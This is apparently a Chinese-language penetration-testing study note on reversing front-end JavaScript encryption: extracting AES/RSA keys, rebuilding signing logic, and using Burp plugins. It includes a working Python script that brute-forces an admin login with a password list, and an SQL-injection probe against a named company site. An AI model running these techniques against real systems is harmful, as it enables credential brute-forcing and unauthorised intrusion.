js逆向与谷歌加密库

先讲死:逆向就是复现加密的过程,直接右键密码处拿元素名去搜索定位登录文件------>给ai定位加密函数------>进入到加密函数源码处。输入账号密码断点传值。 看到key,iv等露出来。就可以用了

全网贯穿:通过html元素,定位源码里面加密函数,传值露出 key,iv,,

看html payload /看不见就抓包看提交上去的密码是否是加密显示 是逆向

扣代码是因为加密算法轻量刚好内嵌的登录文件,复杂一点的放在单独一个文件。

《实站:公共号登录加密 - 逆向MD5加密算法》

思路:登录找long、post

猜测MD5加密:e10adc3949ba59abbe56e057f20f883e 但无学习意义

思路:抓包见加密显示逆向,接口标识?action=xxx

分析加密算法

1.页面元素复制password参数

Elements: password

2.Search:password

3.longxxx.js copy ai 锁定加密函数

  1. 也可以看调用栈Initiator

password经过的调用栈,之前是post@ login@ 现在改了但依旧离不开"登录"

扣longxxx.js

  1. 得到加密函数-扣代码
  1. 加密函数改立即执行函数。

开头: 1. 定义全局变量函数var getSrt 2. 添加!变成立即执行函数。

结尾: 1.全局变量函数/替换内部变量函数(让外部能调用这个加密函数);

getSrt (已替换)= function(t, p, n) +删逗号后,加()闭合语法

最后:console.log(getSrt("123456")); 手动输入 123456 调用对比验证加密逻辑是否还原正确

5.1调用立即执行函数

*MD5加密

直接拿这个加密函数来调用就行了

公众号登录密文的分析+脚本扣下来了+正常调用 = 完了

利用

没有验证码

直接登录。

有验证码

查看能不能绕过。能绕过写脚本一起提交就可以了。

CryptoJS加密库

为什么使用加密库? 好不用扣代码。

crypto-js是谷歌开发的一个纯JavaScript的加密算法类库,可以非常方便的在前端进行其所支持的加解密操作。目前crypto-js已支持的算法有:MD5、SHA-1、SHA-256、AES、RSA、Rabbit、MARC4、HMAC、MD5、HMAC-SHA1、HMAC-SHA256、PBKDF2等。使用时可以引用总文件,也可以单独引用某一文件。

解决:不用断点找到加密函数扣代码调用,直接调用这个库就行了,方便。

加密库加密流程

  1. 安装加密库
bash 复制代码
npm install crypto-js
  1. 新建xxx.js文件,引入加密库
bash 复制代码
const CryptoJS = require('crypto-js'); //引入库
  1. xxx.js文件调用加密库.加密算法加密
javascript 复制代码
const CryptoJS = require('crypto-js');//引入库
//md5加密
var str = "123456"
var eMD5=CryptoJS.MD5(str).toString()
console.log(eMD5)

//SHA256
var eSHA256=CryptoJS.SHA256(str).toString()
console.log(eSHA256)

//SHA512
var eSHA256=CryptoJS.SHA512(str).toString()
console.log(eSHA256)

//base64编码
var name = "邓123!"; //加密
var tmp = CryptoJS.enc.Utf8.parse(name);    //转utf8
var base64Str = CryptoJS.enc.Base64.stringify(tmp); //转base64
console.log(base64Str); // RGVuZw==
//base64解码
var words = CryptoJS.enc.Base64.parse(base64Str); //转base64
var parseStr = CryptoJS.enc.Utf8.stringify(words); //转utf8
console.log(parseStr); // 邓123!


//aes对称加密
//密钥
const key = CryptoJS.enc.Utf8.parse("1234123412ABCDEF");  //16位16进制数,密钥
//偏移量
const iv = CryptoJS.enc.Utf8.parse('ABCDEF1234123412');   //16位16进制数,密钥偏移量
//加密
function Encrypt(word) {
    let a1 = CryptoJS.enc.Utf8.parse(word); //转码utf8
    let b1 = CryptoJS.AES.encrypt(a1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); // 加密  传入key iv 模式
    return b1.ciphertext.toString().toUpperCase();
}
//解密
function Decrypt(word) {
    let a1 = CryptoJS.enc.Hex.parse(word);
    let b1 = CryptoJS.enc.Base64.stringify(a1); //转码base64
    let f = CryptoJS.AES.decrypt(b1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); //解密
    let g = f.toString(CryptoJS.enc.Utf8); //解密结果转码utf8转字符
    return g;
}
var m=Encrypt("123456")
console.log(m) //0FA00516C7FA7350DED84B110C438F04
var n=Decrypt(m)
console.log(n) //123456

工具:WT-JS-1.8.3

*AES对称加密-密钥偏移量

*rsa非对称加密解密-公私钥

  1. 先生成公钥私钥 https://config.net.cn/tools/RSA.html

2.安装另一个加密库:npm install jsencrypt

3.新建rsa.js,引入加密库

4.密钥去掉换行:TXT文本处理工具 - 在线文本工具 加密解密也可以在这个网站一步到位

  1. 无法在windows执行:bin目录 jsencrypt.js, 头行添加 window = global

6.运行:node xxx.js

javascript 复制代码
//引入加密库
const JSEncrypt = require('jsencrypt');

//公钥私钥对
var PUBLIC_KEY = '生成的公钥'
var PRIVATE_KEY = '生成的私钥'

var encrypt = new JSEncrypt();
//设置公钥
encrypt.setPublicKey('-----BEGIN PUBLIC KEY-----' + PUBLIC_KEY + '-----END PUBLIC KEY-----');
//数据json
var str = {
    "uid":"admin",
    "pwd":"123456"
}
//公钥加密
var encrypted = encrypt.encrypt(JSON.stringify(str));
console.log('加密前数据:%o', str);
console.log('加密后数据:%o', encrypted);

//私钥解密
var decrypt = new JSEncrypt();
decrypt.setPrivateKey('-----BEGIN RSA PRIVATE KEY-----'+PRIVATE_KEY+'-----END RSA PRIVATE KEY-----');
var uncrypted = decrypt.decrypt(encrypted);
console.log('解密后数据:%o', uncrypted);

《实战登录加密- 逆向AES加密算法》

网站:http://oa.xxxx.com/login.jsp

1.谷歌:输入 admin 123456 ,f12网络。重要把登录点的xxxlogin.js相关文件跑下来

  1. 观察表单payload,admin /xxxxxx 核心验证是否加密显示? 屏蔽了表单情况

3.火狐:输入 admin 123456,f12网络。插件HTTP Header Live抓包。看见加密显示了。好逆向

3.search搜索字段:j_username(右键页面name= 也能看见这字段)

4.j_username出现在就是 login.jsp,login.jsp就是登录点核心加密文件。

5.最新方法:让ai找加密函数。desEncrypt()

javascript 复制代码
function encryptPassword(){ 
    // 这一行是加密核心:把密码框的明文密码传入desEncrypt函数加密后,重新赋值给密码框
    document.forms[0].j_password.value = desEncrypt(document.forms[0].j_password.value);
}
javascript 复制代码
desEncrypt() 函数不在当前代码里,而是通过这行代码引入的:
Com_IncludeFile("security.js"); // 加密逻辑写在security.js文件中



你需要找到 security.js 文件才能看到 desEncrypt() 的具体实现(比如 AES 加密的密钥、模式、补位方式等)。

要完全复现加密,需要拿到 security.js 里的:
密钥(key)
加密模式(如 ECB/CBC)
填充方式(如 PKCS#5/PKCS#7)
编码方式(如 Base64 / 十六进制)


可以代码ai拿到/也可以控制台拿到:
密钥(key/iv)	SECURITYKEY.get()/_2() 方法;浏览器 Network 看session.jsp或 Console 执行SECURITYKEY.get()
加密模式	desEncrypt 函数中 encrypt 配置传 iv → 确认是 CBC 模式
填充方式	代码未指定 padding → 默认为 PKCS7(CryptoJS 规则)
编码方式	encrypt(...).toString() → 确认是 Base64 编码

6.在desEncrypt下断点,输入admin/123456回车,停住。

7.进到desEncrypt这个加密函数。调出控制台:ESC。输入desEncrypt回车。点击内容

或者光标放上desEncrypt。也可以进到加密函数。

8.进入到加密函数文件。断点。如表单值传过来。看怎么走。看密钥、偏移量显示是多少?

9.密钥key跟偏移量iv看到了 就变很简单了。1.直接拿Cryto_JS加密库来用 2.扣代码 3.WT-JS-1.8.3工具(推荐) 4.TXT文本处理工具 - 在线文本工具 (推荐)

10.先取加密点

11.打开WT-JS-1.8.3,传入key,iv。

  1. 工具生成当前js脚本,复制到idea,拼接前缀就好了。

如果结果和抓包不一致?

本地结果:gIDASklcyJv5BtSiIG/NOA== 是「加密后二进制数据」的 Base64 编码结果;

抓包结果:We+lQQFxWERx54UjB78u7Q== 和这个是同一类东西,因为密钥 /iv 不同

差异原因:

抓包 + 断点的操作,会触发两次密钥请求生成,导致 key/iv 不一致,这才是结果对不上的核心原因。但是没有问题。

提示:这个rsa跟aes逆向 多了光标进入到单独的加密函数文件?

MD5 /SHA1因为算法简单、体积小,经常被直接内嵌到业务文件(比如登录 JS)里;而 RSA/AES 算法复杂、代码量大,几乎都会单独拆成独立文件,所以你能点进去看地址,MD5 嵌在登录文件里可以直接扣下来。

《实战登录加密 - 逆向sha1加密算法 - 逆向sign》

先讲死:sign == 提交的明文数据 +密文套壳

sign : 验证数据完整性

提交数据时,+sign做套壳。

该网站的,计算生成一个sign = 整体哈希算法.(拼接明文账号密码 + 时间戳 + 固定盐值)

网站:https://www.xxxx.com/login

  1. 我们看到明文的密码+时间戳+sign。不像前面的密文密码

sing值怎么来? 对提交的参数加密完之后,再产生一个sign值。

修改两次提交sign认证不通过,ip噶了。

深入测试,分析这个参数sign是怎么生成的。

1.提交抓包正文:{"username":"xxx","password":"xxx","timestamp":xxx,"sign":"xxx"}

2.Search: sign。这样找不到,找传值

3.Search:\.sign(搜索.sign),断点

RO之后有sign值了,但不一致

提交时间戳不一样,每一次提交的sign值就不一样。

跟进RO函数,下断点。执行一下

跟进hex函数,下断点。执行一下

最终我们看到,r函数就是SHA1的加密。

打开工具,复刻加密流程。

修改密码,加密。提交。不会进行拦截。

burp前端jsEncrypter插件使用

jsEncrypter:思路就是先加密、批量爆破

1.网站模现http://xxxx/jscom/

  1. search :id = "password"
  1. AES_Encrypt加密函数
  1. 进入加密函数,加密流程

5.断点

6.(略过) 点击生成当前方案js脚本 命名为aes.js (配合下面jsEncrypter插件用)

1.jsEncrypter 下载网址 :https://github.com/c0ny1/jsEncrypter/releases

2.下载插件后从burp导入插件即可。

还需要一个 phantomjs.exe 单独的js运行环境

修改 phantomjs_server.js服务。1.引入aes.js 2.调用aes里面加密函数AES_Encrypt

启动js服务 # 目录cmd >phantomjs.exe phantomjs_server.js

#重发测试,插件连接js服务器

#爆破测试

解码

插件日志找到密码

去网址登录页面 输入 admin 666666 登录

python手动编码执行JS登录测试

不想使用jsEncrypter这种工具 ,还可以自己编写测试代码。

前面文档aes.js文件。

现在改为用python去执行这个加密脚本文件。

  1. 需要2个依赖库:pip install pyexecjs2 pip install requests
python 复制代码
------------自己根据实际情况改------------
# -*- coding:utf-8 -*-  # 声明文件编码UTF-8,避免中文乱码
import requests         # requests库:发HTTP请求
import execjs           # execjs库:执行JS

# 定义加密函数:输入明文密码,返回加密后的密文
def getStr(p):
    with open('aes.js','r',encoding='utf-8') as f:  # aes.js加密脚本文件
        js_code  = f.read()                         # 读取
        f.close()                                   # 关闭
        data = execjs.compile(js_code).call('AES_Encrypt',p) # 调用AES_Encrypt函数
        return data  # 8. 返回加密后的密文

# 核心逻辑:批量测试密码
with open("top1000.txt","r") as pwds:  # 文件
    pwd = pwds.readlines()             # 读取
    for p in pwd:                      # 遍历
        passwd = getStr(p.strip())     # 去空格/换行,getStr()加密
        res=requests.post(url="http://www.jsdemo.com/login.php",data={"username":"admin","password":passwd}) #请求
        print("正在测试密码: "+ p +"加密: "+passwd)
        if "~" in res.text:            # 登录成功   取的是~ 
            print("密码是: "+ p)       # 正确密码,打印
            break                  
  1. Sublime Tex 测试

burp前端BurpCryp插件使用

jsEncrypter 完全可以搞定大部分前端加密爆破

  • 依赖 PhantomJS/Node 启动一个独立 JS 服务,Burp 通过 HTTP 调用加密逻辑。
  • 适合固定加密算法(比如你现在的 AES),但每次改加密逻辑都要重启服务。

BurpCrypto 是给更复杂 / 更灵活场景准备的「进阶方案」

  • 直接在 Burp 内部执行 JS / 加密算法,不需要额外启动服务,更轻量。
  • 内置 RSA/AES/DES 等常用模块,简单加密直接点选就能用,不用写 JS 脚本。
  • 复杂加密用 ExecJS 模块,直接在 Burp 里写处理代码,和我们手写Python+exe.js 思路一致,但集成在 Burp 里,不用写独立脚本。

很多网站现在会:动态密钥 / 复杂逻辑更顺手

  • 每次请求前动态生成加密密钥(比如从 Cookie / 响应头里取)
  • 加密逻辑里依赖浏览器环境变量 (比如 window.location、时间戳)
  • 多步骤加密(先 MD5 再 AES,再 Base64)

jsEncrypter 要处理这些,需要把完整逻辑写到 phantomjs_server.js 里,重启服务;BurpCrypto 可以在 Burp 里直接写 JS 代码,实时调试,更灵活。

  1. 抓包发送到Intruder

2.设置插件

3.设置Payload

  1. 攻击完结

5.主要看自定义js

6.重新设置Payload

7.还可以把前面python执行的 aes.js加密脚本拿过来

复制粘贴

这个调用错了。变成调用解密函数了。加密函数在解密函数上面。AES_Encrypt

8.再重新设置Payload

逆向webpack加密算法

webpack 一个静态模块打包器。webpack加载器 主要作用的 加载js模块运行

官网: https://www.webpackjs.com

注意:我们是渗透测试,不是搞开发的,理解调用流程就可以了。

webpack加载器

webpack加载器 主要作用的 加载js模块运行

函数(形参){加载器}([])

函数(形参){加载器}({})

!是一个自执行函数 ,e就我们传入的参数可以是数组 或者 对象

javascript 复制代码
#它的加载器函数一般长这样
!function(e){
    var t={} // 模块缓存池
    function d(n){ // 核心加载函数
        if (t[n]) // 缓存命中,直接返回
            return t[n].exports;
        console.log(n)
        var r = t[n] = {   // 初始化模块对象
            i:n, // 模块ID
            l:!1, // 加载状态:false=未完成
            exports:{} // 模块导出内容
        };
        return e[n].call(r.exports,r,r.exports,d),
            r.l = !0;
        r.exports
    }
    #通过调用   索引0 是function1

《实战 数据提交webpack 加密算法》

https://ec.xxxx.com.cn/open/home/purchase-info

我们看到提交下一页,访问存在两个请求 一个是获取公钥 一个是获取公钥之后加密的参数

  • 核心流程:先从服务端获取加密公钥 → 用公钥加密请求参数(页码) → 携带加密参数请求业务接口 → 获取并输出数据。
  • 关键依赖webpack.js 中的 getStr 函数是加密核心,必须保证该 JS 代码能正常执行,且公钥传递无误

全局搜索 /homepage/public 定位 获取公钥

  1. 分析采购处,提交下一页参数加密流程

#全局搜索公钥url

返回值处断点,找到之后发现存在加密

javascript 复制代码
B.a.post("/open/homepage/public"); //获取公钥
case 4:
return n = A.sent,
r = n.data,
t.setPublicKey(r),  //设置公钥 
a = m(m({}, e), {}, {
    sign: f()(JSON.stringify(e)),
    timeStamp: +new Date
    }),
s = t.encryptLong(JSON.stringify(a)),
A.abrupt("return", s);

公钥网址往上走

#s是 a对象 经过 encryptLong加密后内容,a的内容是对象 发现 存在 sign

#看参数往上走,看到? = ?new d[' '];. 找这个d从哪里来

#找到d承载的加载器,断点定位#

找到加载器函数

#扣出整个包含加载器代码

1.尾部闭合

  1. global全局对象模拟浏览器window对象
javascript 复制代码
不行则改为
window = typeof window !== 'undefined' ? window : global; // 仅加这1行!

3.传入我们的对象

  1. 定义全局函数 然后在函数里面把O赋值过来就可以了

抠代码还原rsa加密算法

思路先讲死:先扣整个webpack加载器,下面扣公钥加密逻辑。然后缺哪个模块补哪个。找那个函数 ,下断点,传值过来了再找。不然细节问题导致里面呈现的值找不对
  1. 扣出公钥

2.处理公钥加密函数

4.缺少模块,打印一下O函数错误模块名

5.函数未定义

看到sign,B()函数。 看到B()是MD5。 可以验证一下

用MD5调用库替换掉B()

补w

补V

补b

逆向成功!

关键代码解析

公钥设置与加密参数

javascript 复制代码
t = new d["a"]
r = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDc9lmemqo8kWcTTiiz3eXrHzTBh4SBQQ2eP2l2oBBdYu1iKts8Fx2fkvnOZECtPkpbNEVJtOqTam7pYIz1yVAGvbrxMppgqsP0j+LSbbEpwMpfIXGZK8gc0t/BgSndvTu+dri/YMeqNdYsSwCPzIvee7PEE9lZyueUtlxK5moPhwIDAQAB"
t.setPublicKey(r), // 设置公钥 :公钥是标准的 PKCS#8 格式 Base64 编码
//构造加密参数:加密参数包含业务字段 + 签名 + 时间戳,符合常规接口加密规范
// 业务字段 
e ={
   "inviteMethod": "",
   "businessClassfication": "",
   "mc": "",
   "lx": "ZBGG",
   "dwmc": "",
   "pageIndex": 2
}
// 签名和时间戳
a = m(m({}, e), {}, {
    sign: generateMD5Hash(JSON.stringify(e)),
    timeStamp: +new Date
}),
// 执行分段加密
s = t.encryptLong(JSON.stringify(a))



//最后输出结果
//console.log(s)  逆向到最后一步才添加

调用js执行安全测试或爬虫

加密字符串 有啥用?

流程: 点击下一页,数据rsa+sign加密提交到后台,服务器解密+sign对比

正确,则带入查询如果是数据库查询。 提交查询字段有漏洞会造成 ,sql/命令执行等。

javascript 复制代码
e ={
       "inviteMethod": "",
       "businessClassfication": "",
       "mc": "",
       "lx": "ZBGG",
       "dwmc": "",
       "pageIndex": 2
   }
  1. webpack.js去掉所有输出,把这段js封装成getStr()函数调用
javascript 复制代码
//注释r,因为每次访问都会问r 获取公钥 再进行加密。获取公钥这个操作让python完成。
function getStr(r,p){
    t.setPublicKey(r)
    e={
        "inviteMethod": "",
        "businessClassfication": "",
        "mc": "",
        "lx": "ZBGG",
        "dwmc": "",
        "pageIndex": p //页数
    }
    a = m(m({}, e), {}, {
        sign: generateMD5Hash(JSON.stringify(e)),
        timeStamp: +new Date
    }),
        s = t.encryptLong(JSON.stringify(a))
    return s
}

console.log(getStr(r,20))

用python脚本获取公钥

1.public文件右键,选择bash 访问 https://curlconverter.com/python/ 将提交信息转为python脚本

2.命名webpack.py。工具-立即编译(运行)

python 复制代码

1.回到webpack.js 复制文件路径

C:\Users\Deng\Desktop\js逆向\js\webpack.js

2.在webpack.py 编加执行js代码

javascript 复制代码
//路径跟函数换成你的
with open(r'C:\Users\Deng\Desktop\js逆向\js\webpack.js','r',encoding='utf-8') as f:
    js_code  = f.read();
data = execjs.compile(js_code).call('getStr',public_key,1)
print(data)

3.webpack.py

python 复制代码
import requests
import execjs  //安装这两个模块

def getPublicKey():
    cookies = {
    '__jsluid_s': '0cdf7560df2ff035a6820b841ab080fb',

    }

    response = requests.post('https://ec.minmetals.com.cn/open/homepage/public', cookies=cookies, headers=headers)

    #返回响应结果
    return response.text
#给公钥值
public_key = getPublicKey()
 

#执行
with open(r'C:\Users\Deng\Desktop\js逆向\js\webpack.js','r',encoding='utf-8') as f:
    js_code  = f.read();
data = execjs.compile(js_code).call('getStr',public_key,1)
print(data)

python脚本已拿到提交的加密参数

4.再进行一次页面访问。继续生成python脚本

5.这个python请求已经完成了。首先py获取key然后调用webpack.js文件。然后调用webpack.js文件getStr函数

python 复制代码
import requests
import execjs

-----------------------------一共两个请求文件--------------

最后测试 wevpack.js 修改 webpack.py 运行

测试接收参数 是否安全 例如 zbgg 是否存在注入 可用加上 引号 加密提交即可

javascript 复制代码
    e={
        "inviteMethod": "",
        "businessClassfication": "",
        "mc": "",
        "lx": "ZBGG ' ", //输入'  输入' and 1=1
        "dwmc": "",
        "pageIndex": p
    }

只是获取不到信息 并没有报

写成爬虫

1.先看一下 到底有多少页?

把webpack.js 页数 2改成p

webpack.js

javascript 复制代码

hook技术实现自吐webpack依赖函数模块

先讲死:这节课就是教你偷懒的高级技巧 :以前手动抠代码,现在用 hook 让 webpack 自动把加密需要的所有模块代码吐出来,你直接拿现成的用就行。

先搞懂背景:之前的 "笨办法" 是什么?

手动抠代码

  • 发现一个加密函数在某个 webpack 模块里(比如之前的 9816 模块)
  • 这个模块又调用了别的模块(比如 a524mvb 这些)
  • 你得一个个找、复制、粘贴,把所有依赖的代码都抠出来,才能让加密函数跑起来

问题来了:

  • 如果一个加密逻辑依赖几十上百个模块,手动抠代码会累死
  • 很容易漏模块、改错代码,导致最后跑不起来

这章节的核心:用 webpack hook 实现 "自动吐代码"

hook 可以理解成 **"劫持 / 监听"**,这节课的思路是:

  1. 劫持 webpack 的模块加载机制:不让它正常加载模块,而是偷偷记录 "这个加密函数到底调用了哪些模块"
  2. 自动收集依赖 :当你调用一次加密函数(比如登录时的密码加密),hook 会自动把这次调用用到的所有模块都记录下来
  3. 一键导出代码:把记录到的所有依赖模块,自动导出成一份完整的 JS 代码,你直接拿过去用就行,不用再手动找模块了

一句话总结:

以前是你手动找 "哪些模块是加密需要的",现在是让 webpack 自己告诉你 "我这次加密用了哪些模块",然后自动把代码吐给你。

举个你能懂的例子(对应之前的代码)

之前的代码里:

  • 加密函数 encryptLong 依赖 d["a"]
  • d["a"] 来自模块 9816
  • 模块 9816 又依赖 a524mvb 等一堆函数

hook 技术:

  1. 你在浏览器里打开登录页,输入账号密码
  2. 点击登录时,加密函数会被触发
  3. hook 会自动记录:9816a524mvb... 所有被调用的模块
  4. 你直接导出这些模块的代码,就是一份完整可运行的加密脚本,不用再手动复制粘贴了

案例:某云

  • 案例网址是 base64 编码的,解码后是某云的登录页
  • 目标:找到登录时的密码加密逻辑
  • 传统做法:手动找加密函数、抠依赖模块
  • 这节课做法:用 hook 技术,让加密函数自己 "吐出" 所有依赖的模块代码,一键拿到可运行的加密脚本

对你现在的价值

你之前抠 webpack.js 代码时,肯定遇到过:

  • 少了某个模块,报错 xxx is not defined
  • 不知道某个函数来自哪个模块
  • 复制了一堆没用的代码,导致文件臃肿

学完这节课,你就可以:

  • 不用再手动找模块依赖,让代码自己告诉你需要哪些
  • 一键导出可运行的加密脚本 ,直接在 Python 里用 execjs 调用
  • 效率提升 N 倍,尤其适合复杂的大型 webpack 项目
